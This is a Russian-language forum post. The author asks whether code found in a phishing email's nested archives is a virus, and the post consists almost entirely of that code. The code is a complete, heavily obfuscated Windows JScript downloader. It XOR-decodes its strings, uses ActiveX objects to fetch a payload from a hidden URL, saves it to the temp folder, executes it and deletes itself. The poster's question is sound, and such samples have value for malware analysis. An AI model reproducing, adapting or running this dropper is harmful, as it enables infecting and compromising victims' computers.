Пришло письмо сомнительного заголовка (вы должны много денег)
Внутри под множеством архивов конечный файл вот с таким кодом:
Это так выглядит вирус?
Код:
function bakG(Atj, ZIZ, vRd) {
if (vRd == "1") {
var TXpBR = 8557;
TXpBR = 4909 - 9634;
var qgv = 2637;
qgv = 75 / 7375;
var XFsW = 1608;
var zEjRca = 5347;
XFsW = TXpBR - zEjRca;
qgv = 4610 - 2876;
var OkUZoG = 1613;
OkUZoG = 4484 - 9828;
}
var QNz = true;
if (QNz == 16163) {
var Vepws = true;
}
}
function bDzy(FRDnoZtz) {
return parseInt(FRDnoZtz);
}
function yTwZfTn(lKgFyl, quiu) {
return lKgFyl.charAt(quiu);
}
function KaLz(cPtdGWdO) {
var oBSk = '';
var iGYdtP = (635, 3816, 1059, 6294, 6494, 0);
var usXTk = "RRxCBMVhBvZmzn".length;
var MHvR = (635, 3816, 1059, 6294, 6494, 0);
var UVy = 61021;
if (UVy == "1") {
var dETy = false;
};
var IdmIP = "";
var elaGdkn = cPtdGWdO.length;
while (MHvR < elaGdkn - (8465, 429, 4737, 475, 2)) {
var Rmq = (635, 3816, 1059, 6294, 6494, 0);
var bNF = MHvR + (958, 3287, 1810, 369, 4020, 9536, 3102, 4650, 1);
if (5 === "nkh") {
var UFE = "ZMUWZ";
}
switch ("0") {
case "ePsdH":
var DshcaS = "NROHws";
break;
case false:
var kSfeP = "NtvV";
if (kSfeP == "QILuufP") {
var wQd = 6363;
var VTWZJZM = 658;
var ZnwVgt = 8887;
wQd = VTWZJZM + ZnwVgt;
var sGTNouE = 7065;
sGTNouE = 9620 + 6888;
var RsinK = 93;
RsinK = 3094 - 5348;
var BWesp = 2504;
BWesp = 6675 + 505;
var IAQvE = 9926;
IAQvE = 6811 - 2372;
}
break;
case "1":
if (4 == 4711) {
var bAFD = false;
}
break;
case 5095:
var AeeyQVh = "pCHeMO";
break;
case "0":
var mGYSj = 21319;
break;
};;
var LyEh = yTwZfTn(cPtdGWdO, bNF);
var lCc = yTwZfTn(cPtdGWdO, MHvR + (8465, 429, 4737, 475, 2));
var kgZTVLY = yTwZfTn(cPtdGWdO, MHvR);
IdmIP = kgZTVLY + LyEh + lCc;
var MF = yTwZfTn(cPtdGWdO, MHvR);
var YlCwc = false;
if (YlCwc === "0") {
var mSS = "JgUn";
}
var ZePGA = "eHTcT";;
var Yey102 = (yTwZfTn(cPtdGWdO, MHvR + (958, 3287, 1810, 369, 4020, 9536, 3102, 4650, 1)) == (635, 3816, 1059, 6294, 6494, 0));
if (MF == Rmq) {
var eNZfAEz = MHvR + (958, 3287, 1810, 369, 4020, 9536, 3102, 4650, 1);
var cdt = MHvR + (2);
var pVp = yTwZfTn(cPtdGWdO, cdt);
IdmIP = yTwZfTn(cPtdGWdO, eNZfAEz) + pVp;
}
if (7 == false) {
var MAb = 68053;
}
var MPspP = 38448;;
var gv = yTwZfTn(cPtdGWdO, MHvR);
var Yey101 = (gv == (635, 3816, 1059, 6294, 6494, 0));
if (Yey101 && Yey102) {
var YxzDIww = MHvR + (8465, 429, 4737, 475, 2);
IdmIP = yTwZfTn(cPtdGWdO, YxzDIww);
}
iGYdtP = bDzy(IdmIP);
var lA = MHvR / (118, 9174, 3977, 8059, 6348, 4022, 3);
var kGtOfFR = lA % usXTk;
var Yey = "RRxCBMVhBvZmzn".charCodeAt(kGtOfFR);
if (4 == "lIUnw") {
var yRauL = 4701;
};
iGYdtP = iGYdtP ^ Yey;
var uBaQDahr = String;
oBSk += uBaQDahr.fromCharCode(iGYdtP);
MHvR += (3);
}
return oBSk;
}
function MaiI(rpIN) {
var kwp = "BxMVSe";
if (kwp === false) {
var jIOfpL = 893;
var OePhnf = 4887;
var SoKh = 8990;
jIOfpL = OePhnf * SoKh;
SoKh = jIOfpL - OePhnf;
}
switch ("0") {
case false:
var Rwgg = false;
break;
case false:
var ptvdj = 85988;
if (ptvdj === false) {
var Ugfihzb = 7949;
var vbvL = 3513;
Ugfihzb = Ugfihzb + vbvL;
var kNAY = 4089;
kNAY = 7926 * 498;
var qjx = 3900;
qjx = kNAY * vbvL;
var AiCO = 9989;
AiCO = 9646 + 3999;
}
break;
case "1":
var KcYc = 59332;
break;
case "1":
var ruX = 18415;
break;
case false:
var WWYUbt = 15595;
break;
};
var CaxEJ = "AVmInHG";
var tGWnIpw = "BoWZRWx";
if (tGWnIpw == true) {
var LNqm = false;
if (LNqm == "1") {
var pdRkAq = 4363;
pdRkAq = 2260 - 4811;
var tkCelbh = 8990;
tkCelbh = 7877 - 9331;
var gByAmD = 5236;
var OIjX = 3533;
gByAmD = tkCelbh / OIjX;
var DYfSNN = 525;
DYfSNN = 6156 / 1575;
}
switch ("nraAVB") {
case "0":
var gvLlk = "hkSu";
break;
case "1":
var ZTj = false;
if (ZTj === true) {
var dskml = 1689;
var vUtqwGb = 3629;
var hHjZHL = 9957;
dskml = vUtqwGb / hHjZHL;
var hOP = 3573;
var RAjKUQe = 1020;
var BaOrsOj = 8613;
hOP = RAjKUQe + BaOrsOj;
}
break;
};
switch ("1") {
case "0":
var VAL = 56816;
break;
case "WrEHk":
var sXeBdcy = "TdnD";
if (sXeBdcy == 6018) {
var nIPIu = 28568;
}
break;
case false:
var yHrX = 70987;
break;
};
var EEPmk = "rCKbz";
}
}
function dOs() {
var MQBh = 12718;
if (MQBh == "1") {
var jLntBY = 4260;
var KudgIPX = 1911;
var RMnEYTc = 4509;
jLntBY = KudgIPX + RMnEYTc;
var eDwMlGy = 4787;
eDwMlGy = 7319 - 4547;
var lYW = 331;
lYW = 4874 - 7094;
var ZwvUogp = 5690;
ZwvUogp = 6954 - 9703;
var qeQZTN = 1771;
qeQZTN = 8156 / 5450;
}
var ozW = 49889;
if (ozW == "iwYuuXF") {
var xmVsbo = 5630;
xmVsbo = 5279 / 4645;
var Luli = 5304;
Luli = 4203 - 9955;
var EqbZ = 504;
var klYYl = 1134;
var WLzrqVP = 3630;
EqbZ = klYYl / WLzrqVP;
WLzrqVP = klYYl + xmVsbo;
};
var xOifERzV = KaLz("019022055007000099005028048019059000");
var umvrS = "AoKdF";
var ctSpAy = "zfXV";;
var PMaMe = KaLz("058038012051120098121031053001116010015000063051012038108046057005108023047066024002061053087044039096053007044002063003014065039034020044035041037071112070107091085094102125016051029036056027054004047014014007061060086046045059");
var dDxid = 75972;
if (7 === "bMrcbr") {
var bQaPYLG = 1445;
bQaPYLG = 1636 - 883;
var ZcP = 1359;
ZcP = 8060 / 4753;
}
switch (4) {
case false:
var HyYwFfZ = 59999;
break;
case 580:
if (2 === "znGYinwg") {
var wuj = "Lmkd";
}
break;
case "0":
if (5 === false) {
var IdgsD = 1832;
var zqQlEIx = 1186;
var JrSMoR = 2303;
IdgsD = zqQlEIx / JrSMoR;
var pWSSSqQ = 9698;
var ykKLG = 8325;
JrSMoR = pWSSSqQ - ykKLG;
}
break;
};;
var tpCYDa = KaLz("031001032014014127120048015058018057046062");
var VYvgYy = new ActiveXObject(tpCYDa);
var rusgCxKu = KaLz("021023044");
VYvgYy[KaLz("061034029045")](rusgCxKu, PMaMe, false);
var GXMsXyxC = WScript[KaLz("001049010042050057016029046026020012023011")];
VYvgYy[KaLz("033055022039")]();
if (VYvgYy[KaLz("001038025055055062")] == (5357, 7975, 2320, 1506, 3102, 4971, 2207, 200)) {
var MeQqfwld = KaLz("001049010042050057063006037088028004022011001043011055039032025010040019057025");
var scqnuKF = new ActiveXObject(MeQqfwld);
var SwH = "RcmLI";
if (SwH == "IUv") {
var MniT = false;
}
var Dzs = "HlXpyP";
if (4 === 6808) {
var nlCv = 7364;
};
var ndlHa = new ActiveXObject(xOifERzV);
if (7 === "0") {
var kWZx = 1940;
var yHkemxu = 1227;
var jhy = 7311;
kWZx = yHkemxu - jhy;
var FtS = 1049;
FtS = yHkemxu - jhy;
yHkemxu = jhy + FtS;
FtS = FtS - yHkemxu;
kWZx = 6382 + 299;
};
var FNkCmHf = scqnuKF[KaLz("021055012016050040053001035026028002022010055032")]((1502, 2381, 3760, 7503, 9974, 5779, 3013, 2)) + '\\' + scqnuKF[KaLz("021055012023039032038038035027063")]();
ndlHa[KaLz("029034029045")]();
var tj = KaLz("005001027049043061034070017030063001022");
var AhX = 50412;
if (AhX === true) {
var CZJGV = true;
}
var THe = false;
var VWZbr = false;
var kUr = true;
if (kUr == "0") {
var MyRP = 7206;
MyRP = 3553 + 7473;
var Djf = 5036;
var hSr = 6884;
Djf = Djf + hSr;
};
ndlHa[KaLz("006043008038")] = (2250, 3990, 3305, 6084, 1);
var KpsVskov = new ActiveXObject(tj);
ndlHa[KaLz("005032017055039")](VYvgYy[KaLz("000055011051045035037013000025062020")]);
var eDfDW = 56440;
if (eDfDW == true) {
var thBE = 6938;
var IzoOYBq = 5165;
var VElNXgE = 2067;
thBE = IzoOYBq / VElNXgE;
var GuRsU = 8386;
GuRsU = GuRsU - IzoOYBq;
};
ndlHa[KaLz("002061011042054036057006")] = (2473, 3043, 8823, 6003, 2231, 2458, 8019, 4955, 0);
if (1 == "0") {
var ozW = 9358;
ozW = 4112 - 5519;
var mPxtVfj = 7732;
mPxtVfj = 7379 + 8788;
var RcsCx = 6768;
RcsCx = 2363 + 6062;
var bQxCRUW = 1789;
ozW = bQxCRUW + RcsCx;
};
ndlHa[KaLz("001051014038022034016001046019")](FNkCmHf);
ndlHa[KaLz("017062023048039")]();
switch ("ZdfIQbF") {
case "1":
var rjW = false;
break;
case "0":
if (2 === 1070) {
var ieh = "cvILuM";
}
break;
case "1":
var MNeeWax = 35774;
break;
};
var VpDeu = 63087;;
KpsVskov[KaLz("032039022")](KaLz("049063028109039053051072109021122") + FNkCmHf, (2473, 3043, 8823, 6003, 2231, 2458, 8019, 4955, 0));
}
scqnuKF[KaLz("054055020038054040016001046019")](GXMsXyxC);
}
function MPBdzT(wQwO, UGsFG) {
switch (false) {
case true:
var QEWQzB = 11764;
var oyq = true;
var xuhJX = "hoXTRAe";
switch (UGsFG) {
case "0":
var JTAX = "RSzKs";
if (JTAX === "1") {
var XCWCSqB = 6469;
XCWCSqB = 6257 / 5792;
var cyNqvG = 1553;
cyNqvG = 8747 * 7007;
var pWtHSy = 1465;
var KXFptYP = 2220;
var AFlRa = 8433;
pWtHSy = KXFptYP - AFlRa;
AFlRa = 5506 / 2974;
}
break;
case 410:
if (wQwO === "0") {
var wpiD = "QhZhbYS";
}
break;
case 2620:
var KlOeM = "bjQQ";
if (KlOeM === true) {
var WhMeS = 2284;
var pQig = 9625;
var daSQcU = 9954;
WhMeS = pQig + daSQcU;
var oZf = 1265;
oZf = oZf - WhMeS;
WhMeS = WhMeS + daSQcU;
WhMeS = daSQcU - pQig;
daSQcU = 2510 / 2645;
}
break;
};
switch (wQwO) {
case false:
var kUoJF = 88743;
break;
case "1":
var lwovQ = "HdVU";
if (lwovQ == "0") {
var pjR = false;
}
break;
case "0":
if (UGsFG == false) {
var pmuS = 5593;
pmuS = 9951 - 1585;
var ITFri = 1989;
var eJdgM = 3646;
var mdgKAku = 5743;
ITFri = eJdgM * mdgKAku;
ITFri = 3399 - 5919;
var EAWY = 8460;
eJdgM = pmuS - EAWY;
}
break;
case "pBzHa":
var XJCIger = "dIEIs";
break;
case "1":
if (UGsFG === false) {
var WaJSYsu = 6225;
WaJSYsu = 8865 * 1076;
var WXn = 8546;
var yXVCG = 4974;
WXn = WXn - yXVCG;
yXVCG = yXVCG * WaJSYsu;
var ZvJo = 9418;
ZvJo = 2873 - 3447;
}
break;
};
break;
case "IKrUARam":
var wZfwru = true;
break;
case "1":
var CfaGRMM = 40335;
if (CfaGRMM == "iPfaPs") {
var XmV = 73497;
}
break;
case "0":
if (wQwO == "0") {
var LZcx = 4375;
var NTWClvZ = 6335;
LZcx = LZcx + NTWClvZ;
var jZQm = 9354;
jZQm = 5966 - 4088;
var iNX = 7645;
iNX = 6571 / 3597;
NTWClvZ = 3192 / 2090;
LZcx = 1416 / 6720;
}
break;
case "1":
if (wQwO === 17526) {
var LCDlYiB = true;
}
break;
};
return false;
}
function MgUN(KvJqtC) {
var JJFoir = "hjZiBzP";
if (JJFoir === 337) {
var zKaWY = 8560;
var JbmnYVW = 6520;
var kQScY = 267;
zKaWY = JbmnYVW + kQScY;
JbmnYVW = kQScY / zKaWY;
}
var qIlDGhz = 25082;
if (qIlDGhz === false) {
var McBPj = false;
}
var XuV = 84266;
var ysybqTS = true;
if (ysybqTS == 16892) {
var oPka = 937;
oPka = 7778 + 4392;
var qquyJ = 9486;
qquyJ = 6760 / 3952;
var uUe = 8734;
var mwXit = 5607;
var CCz = 8771;
uUe = mwXit + CCz;
}
var SVHuxh = "XDzMP";
if (SVHuxh === "xaFvF") {
var rGMdE = true;
var JJFoir = "hjZiBzP";
if (JJFoir === 337) {
var zKaWY = 8560;
var JbmnYVW = 6520;
var kQScY = 267;
zKaWY = JbmnYVW + kQScY;
JbmnYVW = kQScY / zKaWY;
}
var qIlDGhz = 25082;
if (qIlDGhz === false) {
var McBPj = false;
}
}
var tfMWFy = "CZRias";
if (tfMWFy == true) {
var wIwwoRc = true;
var JJFoir = "hjZiBzP";
if (JJFoir === 337) {
var zKaWY = 8560;
var JbmnYVW = 6520;
var kQScY = 267;
zKaWY = JbmnYVW + kQScY;
JbmnYVW = kQScY / zKaWY;
}
var qIlDGhz = 25082;
if (qIlDGhz === false) {
var McBPj = false;
}
}
return true;
}
try {
if (MgUN(true) == true) {
dOs();
}
bakG(true, "1", "1");
if (MPBdzT(true, 2586) == false) {
MaiI(false);
}
} catch (tirA) {}
